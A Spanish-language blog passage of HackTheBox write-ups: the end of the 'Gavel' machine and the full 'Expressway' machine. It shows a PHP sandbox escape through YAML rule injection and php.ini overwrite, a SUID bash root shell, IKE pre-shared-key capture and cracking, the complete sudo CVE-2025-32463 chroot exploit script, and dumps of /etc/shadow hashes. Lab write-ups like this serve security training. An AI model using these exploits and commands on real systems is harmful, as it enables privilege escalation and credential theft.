auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util invoice
{"status":"err","msg":"Cannot open log"}
auctioneer@gavel:/opt/gavel$

En cuanto a submit tomamos el archivo sample.yml.

auctioneer@gavel:/opt/gavel$ ls
gaveld	sample.yaml  submission
auctioneer@gavel:/opt/gavel$ cat sample.yaml
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
auctioneer@gavel:/opt/gavel$

Creamos un archivo solo con los valores bajo item.

name: "name item"
description: "description"
image: "image.png"
price: 10000
rule_msg: "msg rule"
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

Pasamos este archivo al ejecutable.

1
2
3

auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util submit /dev/shm/file.yaml
Item submitted for review in next auction
auctioneer@gavel:/opt/gavel$

pspy muestra la ejecucion de la regla tomando el archivo de configuracion php.ini.

2025/11/30 00:35:08 CMD: UID=1001  PID=60506  | /usr/local/bin/gavel-util submit /dev/shm/file.yaml 
2025/11/30 00:35:08 CMD: UID=0     PID=60507  | /opt/gavel/gaveld 
2025/11/30 00:35:08 CMD: UID=0     PID=60508  | /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 -r function __sandbox_eval() {$previous_bid=150;$current_bid=200;$bidder='Shadow21A';return ($current_bid >= $previous_bid * 1.2);};$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; } 
2025/11/30 00:35:09 CMD: UID=0     PID=60509  | 
2025/11/30 00:35:09 CMD: UID=0     PID=60510  | sudo -u www-data /usr/bin/php /var/www/html/gavel/includes/auction_watcher.php 
2025/11/30 00:35:09 CMD: UID=0     PID=60511  | /bin/bash /root/scripts/auction_watcher.sh 
2025/11/30 00:35:10 CMD: UID=0     PID=60512  | sudo -u www-data /usr/bin/php /var/www/html/gavel/includes/auction_watcher.php 
2025/11/30 00:35:10 CMD: UID=33    PID=60513  |

Al intentar ejecutar la funcion system() este nos muestra que esta desabilitada.

---
name: "name item"
description: "description"
image: "image.png"
price: 10000
rule_msg: "msg rule"
rule: "return system('whoami>/dev/shm/whoami.txt');"

auctioneer@gavel:/dev/shm$ /usr/local/bin/gavel-util submit /dev/shm/file.yaml
Illegal rule or sandbox violation.
Warning: system() has been disabled for security reasons in Command line code on line 1
SANDBOX_RETURN_ERROR
auctioneer@gavel:/dev/shm$

El archivo php.ini en disable_functions contiene la funcion system.

# [...]
open_basedir=/opt/gavel
# [...]
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
# [...]

Utilizamos file_put_contents la cual no esta deshabilitada, esto para reescribir el archivo php.ini.

---
name: "name item"
description: "description"
image: "image.png"
price: 10000
rule_msg: "msg rule"
rule: "return file_put_contents('/opt/gavel/.config/php/php.ini','open_basedir=');"

Tras su ejecucion vemos que ahora no existen limitaciones.

auctioneer@gavel:/dev/shm$ /usr/local/bin/gavel-util submit /dev/shm/path.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
auctioneer@gavel:/dev/shm$ cat /opt/gavel/.config/php/php.ini; echo
open_basedir=
auctioneer@gavel:/dev/shm$

Shell

Creamos una copia de bash con permisos SUID, la cual nos permitio obtener acceso root y la flag root.txt.

auctioneer@gavel:/dev/shm$ cat file.yaml
---
name: "name item"
description: "description"
image: "image.png"
price: 10000
rule_msg: "msg rule"
rule: "return system('cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc');"
auctioneer@gavel:/dev/shm$ /usr/local/bin/gavel-util submit /dev/shm/file.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
auctioneer@gavel:/dev/shm$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.4M Jan  7 06:16 /usr/bin/sc
auctioneer@gavel:/dev/shm$ /usr/bin/sc -p
sc-5.1# whoami;id
root
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)
sc-5.1# cat /root/root.txt
aa9b8275dccf4af84eac38b7c7e579b1
sc-5.1#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

sckull@gavel:~# cat /etc/shadow
cat /etc/shadow
root:$y$j9T$F4t1iJQb1Y9atV89HlC.k.$rdYP7l6hwov0veW3K1LdYgljvILjVuoCkqlSf7OmAs3:20396:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
syslog:*:19977:0:99999:7:::
uuidd:*:19977:0:99999:7:::
tcpdump:*:19977:0:99999:7:::
tss:*:19977:0:99999:7:::
fwupd-refresh:*:19977:0:99999:7:::
usbmux:*:20291:0:99999:7:::
lxd:!:20291::::::
vboxadd:!:20298::::::
mysql:!:20298:0:99999:7:::
auctioneer:$y$j9T$a4m13RlusE.ItZN9V0MQT1$N1nUleOlY2d1KmlIMvhzatvI5lBieVuAqhmgxcUbsc0:20364:0:99999:7:::
sshd:*:20342:0:99999:7:::
_laurel:!:20396::::::
sckull@gavel:~#

HackTheBox - Expressway

sckull — Sat, 07 Mar 2026 00:00:00 +0000

Expressway inicia con la enumeracion de IPsec/Ike donde obtuvimos el valor de pre-shared Key hash que nos permitio el acceso por SSH. Escalamos privilegios tras explotar una version vulnerable de sudo.

Nombre	Expressway
OS	Linux
Puntos	20
Dificultad	Easy
Fecha de Salida	2025-09-20
IP	10.10.11.87
Maker	dakkmaddy
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [651, 505, 1072, 353, 132, 47, 31, 4, 3, 29], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Recon

nmap & rustscan

nmap muestra un unico puerto abierto port TCP: ssh (22).

# Nmap 7.95 scan initiated Sat Sep 20 15:51:20 2025 as: /usr/lib/nmap/nmap --privileged -p22 -sV -sC -oN nmap_scan 10.10.11.87
Nmap scan report for 10.10.11.87
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 20 15:51:30 2025 -- 1 IP address (1 host up) scanned in 10.50 seconds

rustscan muestra que el puerto 500 udp esta abierto.

❯ ./rustscan -r 1-65535 --udp -a 10.10.11.87 -u 10000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
I scanned ports so fast, even my computer was surprised.

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.87:500
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-20 16:55 CST
Initiating Ping Scan at 16:55
Scanning 10.10.11.87 [4 ports]
Completed Ping Scan at 16:55, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:55
Completed Parallel DNS resolution of 1 host. at 16:55, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:55
Scanning 10.10.11.87 [1 port]
Completed SYN Stealth Scan at 16:55, 0.11s elapsed (1 total ports)
Nmap scan report for 10.10.11.87
Host is up, received reset ttl 63 (0.088s latency).
Scanned at 2025-09-20 16:55:43 CST for 0s

PORT    STATE  SERVICE REASON
500/tcp closed isakmp  reset ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
           Raw packets sent: 5 (196B) | Rcvd: 2 (80B)

❯

IPsec/IKE

A tra ves del puerto 500 udp se establecen conjutos de protocolos de red para conexiones seguras. Ejecutamos ike-scan, este muestra el uso de encriptacion 3DES, Hash SHA1, DH Group modp1024 y tipo de autenticacion PSK (Pre-shared Key). Tambien se muestra ikev2 pero no es ‘aceptado’.

❯ ike-scan -M 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87	Main Mode Handshake returned
	HDR=(CKY-R=d627b26401e24585)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
	VID=09002689dfd6b712 (XAUTH)
	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.096 seconds (10.41 hosts/sec).  1 returned handshake; 0 returned notify
❯ ike-scan -M 10.10.11.87 --ikev2
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87	Notify message 14 (NO_PROPOSAL_CHOSEN)
	HDR=(CKY-R=ba006e2e43afb30f, IKEv2)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.093 seconds (10.74 hosts/sec).  0 returned handshake; 1 returned notify
❯

El modo agresivo esta permitido (-A), esto nos permitiria obtener Pre-shared Key.

❯ sudo ike-scan -A -M 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87	Aggressive Mode Handshake returned
	HDR=(CKY-R=a53afe4a993fef37)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
	KeyExchange(128 bytes)
	Nonce(32 bytes)
	ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
	VID=09002689dfd6b712 (XAUTH)
	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
	Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.095 seconds (10.54 hosts/sec).  1 returned handshake; 0 returned notify
❯

Cracking The Hash

ike-scan en modo agresivo especificamos el archivo para guardar el hash (-Phash).

❯ sudo ike-scan -M -A -Phash 10.10.11.87
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87	Aggressive Mode Handshake returned
	HDR=(CKY-R=9d1d2ce903a459fd)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
	KeyExchange(128 bytes)
	Nonce(32 bytes)
	ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
	VID=09002689dfd6b712 (XAUTH)
	VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
	Hash(20 bytes)

Ending ike-scan 1.9.5: 1 hosts scanned in 0.101 seconds (9.89 hosts/sec).  1 returned handshake; 0 returned notify
❯ cat hash
684b5036eca84e202c66e0b53e0994fce79129c9db92ec8747a7aef9905d697316f4c9845842b8e050dd0ac42aeb7c7df0e48c76690252656814f145270479e7bf29da0ffe7fe6fe5316dda810aa242f77f079341e8f2b00760439e46bbed4138131c8998f51f4a9a25710d0288e182da483ffa0a32f74ded8bf03638894c2d4:66494dec0cdc6717490975a566cb4118ef538cb77ea483c27f13b2ab211c6edbad69c5a384f78f49d71d37d3984a3800da96defa36cc5ba0e65e3aa4d4d76aa521a85881bbd073e341fb11c1526af8c387c1e7feb735330e8a523bcfb559baa728ed966df1da117c2ad23b28e28cba21d046b17de8b35cde23730b9153b75c3a:9d1d2ce903a459fd:754adfbe1afa5d70:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:1ade14bf7a94ba776c1e4cd5f76cfa24043b606a:39c8912310594124f8fe0fca2a8759abce239956a7ccfa45200f2f00f9f809ea:e5a58bfc2a44549de5ad339186332a7c35d06b41
❯

Con psk-crack especificamos el hash y el wordlist. Este nos devolvio el valor.

❯ sudo psk-crack hash -d /usr/share/wordlists/rockyou.txt -v
[sudo] password for sckull: 
Starting psk-crack [ike-scan 1.9.5] (http://www.nta-monitor.com/tools/ike-scan/)
Loaded 1 PSK entries from hash
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash 09ba9f5a7d9c6de00d659f0fb516c1acfea9fbcb
Ending psk-crack: 8045040 iterations in 4.414 seconds (1822536.77 iterations/sec)
❯

User - Ike

Utilizamos ike como usuario por SSH con la contrasena previa. Logramos la lectura de la flag user.txt.

❯ ssh ike@10.10.11.87
ike@10.10.11.87's password: 
Last login: Wed Sep 17 10:26:26 BST 2025 from 10.10.14.77 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 21 22:48:44 2025 from 10.10.14.8
ike@expressway:~$ whoami;id;pwd
ike
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
/home/ike
ike@expressway:~$ ls
user.txt
ike@expressway:~$ cat user.txt 
3d98e02d13edd20530c2aa2cf7f32dbb
ike@expressway:~$

Localmente encontramos el puerto 25 a la escucha.

ike@expressway:/dev/shm$ netstat -ntpl
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                   
ike@expressway:/dev/shm$

Observamos que al realizar una conexion a este puerto muestra Exim 4.98.2. La version mas cercana vulnerable es 4.98 (CVE-2025-26794).

ike@expressway:/dev/shm$ nc 127.0.0.1 25
123
220 expressway.htb ESMTP Exim 4.98.2 Sun, 21 Sep 2025 22:55:50 +0100
500 unrecognized command
^C
ike@expressway:/dev/shm$

Sudo

Enumeramos los ficheros con permisos suid. Se listan dos ejecutables sudo.

ike@expressway:~$ find / -perm -4000 2>/dev/null | xargs ls -lah
-rwsr-xr-x 1 root root         70K Aug 26 22:05 /usr/bin/chfn
-rwsr-xr-x 1 root root         52K Aug 26 22:05 /usr/bin/chsh
-rwsr-xr-x 1 root root         87K Aug 26 22:05 /usr/bin/gpasswd
-rwsr-xr-x 1 root root         75K Sep  9 10:09 /usr/bin/mount
-rwsr-xr-x 1 root root         19K Sep  9 10:09 /usr/bin/newgrp
-rwsr-xr-x 1 root root        116K Aug 26 22:05 /usr/bin/passwd
-rwsr-xr-x 1 root root         91K Sep  9 10:09 /usr/bin/su
-rwsr-xr-x 1 root root        276K Jun 27  2023 /usr/bin/sudo
-rwsr-xr-x 1 root root         63K Sep  9 10:09 /usr/bin/umount
-rwsr-xr-- 1 root messagebus   51K Mar  8  2025 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root        483K Aug 10 00:07 /usr/lib/openssh/ssh-keysign
-r-sr-xr-x 1 root root         14K Aug 28 09:04 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root         15K Aug 28 09:04 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root       1023K Aug 29 15:18 /usr/local/bin/sudo
-rwsr-xr-x 1 root root        1.5M Aug 14 12:58 /usr/sbin/exim4
ike@expressway:~$

Se muestra la version 1.9.17 y 1.9.13p. La version que esta siendo usada es la primera.

ike@expressway:/dev/shm$ /usr/local/bin/sudo --version
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
ike@expressway:/dev/shm$ /usr/bin/sudo --version
Sudo version 1.9.13p3
Sudoers policy plugin version 1.9.13p3
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.13p3
Sudoers audit plugin version 1.9.13p3
ike@expressway:/dev/shm$ which sudo
/usr/local/bin/sudo
ike@expressway:/dev/shm$

CVE-2025-32463

Esta ultima esta en el rango de versiones vulnerables a CVE-2025-32463. El PoC crea un archivo de configuracion y libreria, con la ejecucion de --chroot este ejecuta codigo permitiendo escalar privilegios.

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

Tras ejecutar el PoC en la maquina logramos acceso root y la lectura de root.txt.

ike@expressway:/dev/shm$ nano CVE-2025-32463.sh
ike@expressway:/dev/shm$ chmod +x CVE-2025-32463.sh 
ike@expressway:/dev/shm$ ./CVE-2025-32463.sh 
woot!
root@expressway:/# whoami
root
root@expressway:/# cd
root@expressway:~# ls
user.txt
root@expressway:~# cd /root
root@expressway:/root# ls
root.txt
root@expressway:/root# cat root.txt
0955ccefbe1143ffe0d2afef91e1eaaf
root@expressway:/root#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

root@expressway:/root# cat /etc/shadow
root:$y$j9T$u0cgimzO/m87OQdCkETl10$mTZSmVXBn10OJT7qVqvlEr7OwC0QppltyX33WH1esn7:20229:0:99999:7:::
daemon:*:20076:0:99999:7:::
bin:*:20076:0:99999:7:::
sys:*:20076:0:99999:7:::
sync:*:20076:0:99999:7:::
games:*:20076:0:99999:7:::
man:*:20076:0:99999:7:::
lp:*:20076:0:99999:7:::
mail:*:20076:0:99999:7:::
news:*:20076:0:99999:7:::
uucp:*:20076:0:99999:7:::
proxy:*:20076:0:99999:7:::
www-data:*:20076:0:99999:7:::
backup:*:20076:0:99999:7:::
list:*:20076:0:99999:7:::
irc:*:20076:0:99999:7:::
_apt:*:20076:0:99999:7:::
nobody:*:20076:0:99999:7:::
systemd-network:!*:20076::::::
systemd-timesync:!*:20077::::::
messagebus:!:20077::::::
sshd:!:20077::::::
strongswan:!:20162::::::
tcpdump:!:20171::::::
ike:$y$j9T$iACv1qBHXsR1j0yqIsVwY.$udBwggnZtUPt/0TNMIhsU4TDrQm2tCzTr6xUE0ilPQ4:20292:0:99999:7:::
mysql:!:20269::::::
tftp:!:20314::::::
Debian-exim:!:20329::::::
_laurel:!:20329::::::
root@expressway:/root#